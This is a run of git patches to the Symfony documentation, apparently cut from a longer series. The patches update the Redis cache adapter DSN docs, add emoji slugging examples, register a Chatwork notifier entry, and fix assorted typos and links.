-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 2ebaf352a15..c40039e5f08 100644
--- a/testing.rst
+++ b/testing.rst
@@ -935,12 +935,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`symfony/panther`: https://github.com/symfony/panther
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 6286e3bcca643c96508f79e2e3ee06345c80438a Mon Sep 17 00:00:00 2001
From: ToshY <31921460+ToshY@users.noreply.github.com>
Date: Fri, 26 Aug 2022 23:25:56 +0200
Subject: [PATCH 3627/7107] fixes #16310 unclear alternate DSN format

---
 components/cache/adapters/redis_adapter.rst | 81 ++++++++++++++++-----
 1 file changed, 64 insertions(+), 17 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 0845b3bcb96..8e6436fcd0c 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -67,12 +67,18 @@ replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
-    A `Data Source Name (DSN)`_ for this adapter must use the following format.
+    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
+    .. code-block:: text
+
+        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
+
+    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
+
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -89,20 +95,35 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // a single DSN can define multiple servers using the following syntax:
-    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
+    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
+
+    // providing credentials with alternate DSN syntax
+    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
+
+    // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
         'redis:?host[localhost]&host[localhost:6379]&host[/var/run/redis.sock:]&auth=my-password&redis_cluster=1'
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
+    // providing credentials
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
+    );
+
+    // providing credentials and selecting database index "3"
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
+    );
+
 .. versionadded:: 4.2
 
     The option to define multiple servers in a single DSN was introduced in Symfony 4.2.
@@ -132,13 +153,19 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'lazy' => false,
+            'class' => null,
             'persistent' => 0,
             'persistent_id' => null,
-            'tcp_keepalive' => 0,
             'timeout' => 30,
             'read_timeout' => 0,
             'retry_interval' => 0,
+            'tcp_keepalive' => 0,
+            'lazy' => null,
+            'redis_cluster' => false,
+            'redis_sentinel' => null,
+            'dbindex' => 0,
+            'failover' => 'none',
+            'ssl' => null,
         ]
 
     );
@@ -146,15 +173,11 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
-``class`` (type: ``string``)
+``class`` (type: ``string``, default: ``null``)
     Specifies the connection library to return, either ``\Redis`` or ``\Predis\Client``.
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
-    available, and ``\Predis\Client`` otherwise.
-
-``lazy`` (type: ``bool``, default: ``false``)
-    Enables or disables lazy connections to the backend. It's ``false`` by
-    default when using this as a stand-alone component and ``true`` by default
-    when using it inside a Symfony application.
+    available, and ``\Predis\Client`` otherwise. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
+    running into issues when retrieving master information.
 
 ``persistent`` (type: ``int``, default: ``0``)
     Enables or disables use of persistent connections. A value of ``0`` disables persistent
@@ -163,6 +186,10 @@ Available Options
 ``persistent_id`` (type: ``string|null``, default: ``null``)
     Specifies the persistent id string to use for a persistent connection.
 
+``timeout`` (type: ``int``, default: ``30``)
+    Specifies the time (in seconds) used to connect to a Redis server before the
+    connection attempt times out.
+
 ``read_timeout`` (type: ``int``, default: ``0``)
     Specifies the time (in seconds) used when performing read operations on the underlying
     network resource before the operation times out.
@@ -175,9 +202,28 @@ Available Options
     Specifies the `TCP-keepalive`_ timeout (in seconds) of the connection. This
     requires phpredis v4 or higher and a TCP-keepalive enabled server.
 
-``timeout`` (type: ``int``, default: ``30``)
-    Specifies the time (in seconds) used to connect to a Redis server before the
-    connection attempt times out.
+``lazy`` (type: ``bool``, default: ``null``)
+    Enables or disables lazy connections to the backend. It's ``false`` by
+    default when using this as a stand-alone component and ``true`` by default
+    when using it inside a Symfony application.
+
+``redis_cluster`` (type: ``bool``, default: ``false``)
+    Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison
+    checks: `redis_cluster=1` will suffice.
+
+``redis_sentinel`` (type: ``string``, default: ``null``)
+    Specifies the master name connected to the sentinels.
+
+``dbindex`` (type: ``int``, default: ``0``)
+    Specifies the database index to select.
+
+``failover`` (type: ``string``, default: ``none``)
+    Specifies failover for cluster implementations. For ``\RedisCluster`` valid options are ``none`` (default),
+    ``error``, ``distribute`` or ``slaves``.  For ``\Predis\ClientInterface`` valid options are ``slaves``
+    or ``distribute``.
+
+``ssl`` (type: ``bool``, default: ``null``)
+    SSL context options. See `php.net/context.ssl`_ for more information.
 
 .. note::
 
@@ -225,3 +271,4 @@ Read more about this topic in the offical `Redis LRU Cache Documentation`_.
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
 .. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache
+.. _`php.net/context.ssl`: https://php.net/context.ssl

From 6efbda8501098c3f38f64afeb01f9a59c74227ce Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 27 Aug 2022 00:26:46 +0200
Subject: [PATCH 3628/7107] Fix type in alert comment about accessing session
 in constructor

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 9ee5ebea31e..c4c6714c226 100644
--- a/session.rst
+++ b/session.rst
@@ -150,7 +150,7 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
         {
             $this->requestStack = $requestStack;
 
-            // Accessing the session in the constructor is *NOT* reommended, since
+            // Accessing the session in the constructor is *NOT* recommended, since
             // it might not be accessible yet or lead to unwanted side-effects
             // $this->session = $requestStack->getSession();
         }

From 2a940b2efe58017085eb9c88b7cb993979a44b7e Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 27 Aug 2022 12:36:42 +0200
Subject: [PATCH 3629/7107] [Form] Add doc link

Add doc link for uuid & ulid
---
 reference/forms/types/map.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 19f8ed4dc63..4496fd1d377 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -55,8 +55,8 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 UID Fields
 ~~~~~~~~~~
 
-* UuidType
-* UlidType
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
 
 Field Groups
 ~~~~~~~~~~~~

From 5799572d338a321a52910334df736c3ea4dacf03 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Aug 2022 18:44:13 +0200
Subject: [PATCH 3630/7107] remove form types from TOC that have been
 introduced in later versions

---
 reference/forms/types/map.rst.inc | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 9b47a1caaf5..52d09ade07b 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -53,12 +53,6 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
 
-UID Fields
-~~~~~~~~~~
-
-* UuidType
-* UlidType
-
 Field Groups
 ~~~~~~~~~~~~
 

From 6a20d08abe28f843ef8e2d778e47c53f2441df11 Mon Sep 17 00:00:00 2001
From: Ippei Sumida <ippey.s@gmail.com>
Date: Fri, 26 Aug 2022 17:03:57 +0900
Subject: [PATCH 3631/7107] [Notifier] Add Chatwork Notifier Bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 396a5f8dee2..10c603b9f49 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -180,6 +180,7 @@ integration with these chat services:
 Service         Package                               DSN
 ==============  ====================================  =============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Chatwork        ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
@@ -198,7 +199,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.2
 
-    The Zendesk integration was introduced in Symfony 6.2.
+    The Zendesk and Chatwork integration were introduced in Symfony 6.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 8031c558aed76b8ec3d2ed42ff38fbbd37646e9d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Aug 2022 19:05:24 +0200
Subject: [PATCH 3632/7107] remove duplicated code block

---
 reference/constraints/Collection.rst | 23 -----------------------
 1 file changed, 23 deletions(-)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c5cd896f47e..7ad50771226 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -184,29 +184,6 @@ you can do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Collection(
-                fields: [
-                    'personal_email' => new Assert\Required([
-                        new Assert\NotBlank,
-                        new Assert\Email,
-                    ]),
-                    'alternate_email' => new Assert\Optional(
-                        new Assert\Email
-                    ),
-                ],
-            )]
-            protected $profileData = ['personal_email' => 'email@example.com'];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php

From c37c05226821ebc40a836fedf50550a82b33f18c Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Sun, 28 Aug 2022 22:43:27 +0200
Subject: [PATCH 3633/7107] Proper line numbers for a Basic Controller example

The lines that describe the method signature and the method return value (lines `12` and `16`, respectively), should be `10` and `14` since Symfony version `6.0`.
---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index e72b45a93c5..63d68262a1f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -59,10 +59,10 @@ This controller is pretty straightforward:
 * *line 7*: The class can technically be called anything, but it's suffixed
   with ``Controller`` by convention.
 
-* *line 12*: The action method is allowed to have a ``$max`` argument thanks to the
+* *line 10*: The action method is allowed to have a ``$max`` argument thanks to the
   ``{max}`` :doc:`wildcard in the route </routing>`.
 
-* *line 16*: The controller creates and returns a ``Response`` object.
+* *line 14*: The controller creates and returns a ``Response`` object.
 
 .. index::
    single: Controller; Routes and controllers

From b41941dd68526ed861617930ec4caf7a72731986 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Mon, 29 Aug 2022 14:26:42 +0200
Subject: [PATCH 3634/7107] [Form] Fix Bootstrap 5 section indentation

---
 form/bootstrap5.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 1ff693a753f..5647e003593 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -101,7 +101,7 @@ For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
 Inline Checkboxes and Radios
-----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you want to render your checkbox or radio fields `inline`_, you can add
 the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
@@ -138,7 +138,7 @@ Form type or ``ChoiceType`` configuration) to the label class.
         }) }}
 
 Switches
-________
+~~~~~~~~
 
 Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
 feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
@@ -178,7 +178,7 @@ class to the label:
     Switches only work with **checkbox**.
 
 Input group
-___________
+-----------
 
 To create `input group`_ in your Symfony Form, simply add the ``input-group``
 class to the ``row_attr`` option.

From d7bdfe91cbb78cbd76d1b5ccbc9355e835fd9d2b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Krzysztof=20Nizio=C5=82?= <kniziol@gmail.com>
Date: Mon, 29 Aug 2022 15:57:42 +0200
Subject: [PATCH 3635/7107] Fix typos of the Dynamic Form Modification document

---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 414a7023768..3937f5c7b63 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -230,7 +230,7 @@ Using an event listener, your form might look like this::
     }
 
 The problem is now to get the current user and create a choice field that
-contains only this user's friends. This can be done injecting the ``Security``
+contains only this user's friends. This can be done by injecting the ``Security``
 service into the form type so you can get the current user object::
 
     use Symfony\Component\Security\Core\Security;
@@ -490,7 +490,7 @@ The type would now look like::
                     $sport = $event->getForm()->getData();
 
                     // since we've added the listener to the child, we'll have to pass on
-                    // the parent to the callback functions!
+                    // the parent to the callback function!
                     $formModifier($event->getForm()->getParent(), $sport);
                 }
             );
@@ -510,7 +510,7 @@ exactly the same things on a given form.
     the listener is bound to, but it allows modifications to its parent.
 
 One piece that is still missing is the client-side updating of your form after
-the sport is selected. This should be handled by making an AJAX call back to
+the sport is selected. This should be handled by making an AJAX callback to
 your application. Assume that you have a sport meetup creation controller::
 
     // src/Controller/MeetupController.php

From da4d3dabc8bbbc01810c2b61738d73bb551880b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Wed, 17 Aug 2022 15:44:02 +0200
Subject: [PATCH 3636/7107] [String][Intl] Document emoji

---
 components/intl.rst   | 18 +++++++++++++++++-
 components/string.rst | 40 +++++++++++++++++++++++++++++++++-------
 2 files changed, 50 insertions(+), 8 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 1a8ae2bbf0b..8166a18b1a7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -385,9 +385,25 @@ their textual representation in all languages based on the `Unicode CLDR dataset
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
+The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
+and ``slack`` that converts any emojis to the corresponding short code in the
+respective platforms::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    // describe emojis in Slack short code
+    $transliterator = EmojiTransliterator::create('slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+    // describe emojis in Github short code
+    $transliterator = EmojiTransliterator::create('github');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
 .. tip::
 
-    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger>`
+    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
     to improve the slugs of contents that include emojis (e.g. for URLs).
 
 Learn more
diff --git a/components/string.rst b/components/string.rst
index 455ef90eafe..098042f9465 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -451,8 +451,6 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
-.. _string-slugger:
-
 Slugger
 -------
 
@@ -488,11 +486,6 @@ another separator as the second argument::
     $slug = $slugger->slug('Wôrķšƥáçè ~~sèťtïñğš~~', '/');
     // $slug = 'Workspace/settings'
 
-.. tip::
-
-    Combine this slugger with the :ref:`Symfony emoji transliterator <component-intl-emoji-transliteration>`
-    to improve the slugs of contents that include emojis (e.g. for URLs).
-
 The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::
@@ -526,6 +519,39 @@ the injected slugger is the same as the request locale::
         }
     }
 
+.. _string-slugger-emoji:
+
+Slug Emojis
+~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The Emoji transliteration feature was introduced in Symfony 6.2.
+
+You can transform any emojis into a textual representation::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji();
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
+    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
+
+    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
+    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
+
+If you want to use a specific locale for the emoji, or to use the shorts code
+from `github` or `slack`, use the first argument of ``withEmoji()`` method::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji('github'); // or "en", or "fr", etc.
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
+    // $slug = 'a-smiley-cat-black-cat-and-a-lion';
+
 .. _string-inflector:
 
 Inflector

From ff84f9dd05052d81c559ee6727559a08f14d64eb Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 19 Aug 2022 18:30:29 +0200
Subject: [PATCH 3637/7107] declare the foo_bar logger

---
 logging/channels_handlers.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index ae0567fd551..aa4a64dab69 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -137,7 +137,7 @@ You can also configure additional channels without the need to tag your services
 
         # config/packages/prod/monolog.yaml
         monolog:
-            channels: ['foo', 'bar']
+            channels: ['foo', 'bar', 'foo_bar']
 
     .. code-block:: xml
 
@@ -153,6 +153,7 @@ You can also configure additional channels without the need to tag your services
             <monolog:config>
                 <monolog:channel>foo</monolog:channel>
                 <monolog:channel>bar</monolog:channel>
+                <monolog:channel>foo_bar</monolog:channel>
             </monolog:config>
         </container>
 
@@ -162,7 +163,7 @@ You can also configure additional channels without the need to tag your services
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
-            $monolog->channels(['foo', 'bar']);
+            $monolog->channels(['foo', 'bar', 'foo_bar']);
         };
 
 Symfony automatically registers one service per channel (in this example, the

From 75d50a72ba1815a677eeb932d069b16e721f645d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 29 Aug 2022 10:38:12 -0400
Subject: [PATCH 3638/7107] Adding ux-vue to UX library list

---
 frontend/_ux-libraries.rst.inc | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index aaf03138844..8ca7eb5ca3b 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -18,6 +18,7 @@
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
   (`see demo <https://ux.symfony.com/twig-component>`_)
 * `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
+* `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
@@ -31,8 +32,10 @@
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
+.. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
 .. _`Typed`: https://github.com/mattboldt/typed.js/
+.. _`Vue`: https://vuejs.org/

From e4fd5add12073f03eb11c7ead68d794212f823db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Aug 2022 16:41:15 +0200
Subject: [PATCH 3639/7107] Minor tweak

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 96eadb96e1d..69c7c01ae0f 100644
--- a/security.rst
+++ b/security.rst
@@ -2414,7 +2414,7 @@ You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: Just like ``IS_AUTHENTICATED``, *all* logged in users have this, even
+* ``IS_AUTHENTICATED_REMEMBERED``: *all* logged in users have this, even
   if they are logged in because of a "remember me cookie". Even if you don't
   use the :doc:`remember me functionality </security/remember_me>`,
   you can use this to check if the user is logged in.

From 6e6bef4fc640be9381eff5e0662df1f263aa1ed5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Aug 2022 16:58:22 +0200
Subject: [PATCH 3640/7107] Minor tweaks

---
 components/intl.rst   | 4 ++--
 components/string.rst | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 8166a18b1a7..c4dd2aba3df 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -386,8 +386,8 @@ their textual representation in all languages based on the `Unicode CLDR dataset
     // => 'Menus with піца or спагеті'
 
 The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
-and ``slack`` that converts any emojis to the corresponding short code in the
-respective platforms::
+and ``slack`` that converts any emojis to the corresponding short code in those
+platforms::
 
     use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
 
diff --git a/components/string.rst b/components/string.rst
index 098042f9465..0df4ec0ef08 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -528,7 +528,7 @@ Slug Emojis
 
     The Emoji transliteration feature was introduced in Symfony 6.2.
 
-You can transform any emojis into a textual representation::
+You can transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -541,8 +541,8 @@ You can transform any emojis into a textual representation::
     $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
     // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
 
-If you want to use a specific locale for the emoji, or to use the shorts code
-from `github` or `slack`, use the first argument of ``withEmoji()`` method::
+If you want to use a specific locale for the emoji, or to use the short codes
+from GitHub or Slack, use the first argument of ``withEmoji()`` method::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 

From 9a7bb8c60eaada4803af7e0fce86240dd994e18e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 1 Sep 2022 08:51:55 +0200
Subject: [PATCH 3641/7107] Fix: Linebreak

---
 components/lock.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index f88688f62c3..cd783ff6d94 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -77,7 +77,8 @@ method can be safely called repeatedly, even if the lock is already acquired.
 Serializing Locks
 ------------------
 
-The :class:`Symfony\\Component\\Lock\\Key` contains the state of the :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
+The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
+:class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
 continue the job in another process using the same lock::
 

From 80034dd0ed97446de8829e66da5266c4e12c9ca7 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Thu, 1 Sep 2022 14:10:53 +0200
Subject: [PATCH 3642/7107] Method getCharset with proper returning type

The method `getCharset` implemented by the example should return `string` type, like the `Symfony\Component\HttpKernel\Kernel` abstract class requires.
---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 1c57afed784..f61f52fcc35 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -33,7 +33,7 @@ charset::
 
     class Kernel extends BaseKernel
     {
-        public function getCharset()
+        public function getCharset(): string
         {
             return 'ISO-8859-1';
         }

From 0cc3844816a30face9c62a3381cd8a1935e2553d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 1 Sep 2022 17:34:14 +0200
Subject: [PATCH 3643/7107] Tweak validator configuration for
 attributes/annotations

---
 components/validator/resources.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index cd02404f765..6347c296217 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,15 +106,15 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
-and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
-annotation reader::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
+If you use annotations instead of attributes, it's also required to call
+``addDefaultDoctrineAnnotationReader()`` to use Doctrine's annotation reader::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
+        ->enableAnnotationMapping()
+        ->addDefaultDoctrineAnnotationReader()  // Only if annotations are used
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call

From 7a67d8fd137df5cfb166456628a2080690fad8f8 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 2 Sep 2022 19:18:06 +0200
Subject: [PATCH 3644/7107] Remove obsolete warning

---
 components/config/resources.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/config/resources.rst b/components/config/resources.rst
index 73d28a5db78..99e20093402 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -4,13 +4,6 @@
 Loading Resources
 =================
 
-.. caution::
-
-    The ``IniFileLoader`` parses the file contents using the
-    :phpfunction:`parse_ini_file` function. Therefore, you can only set
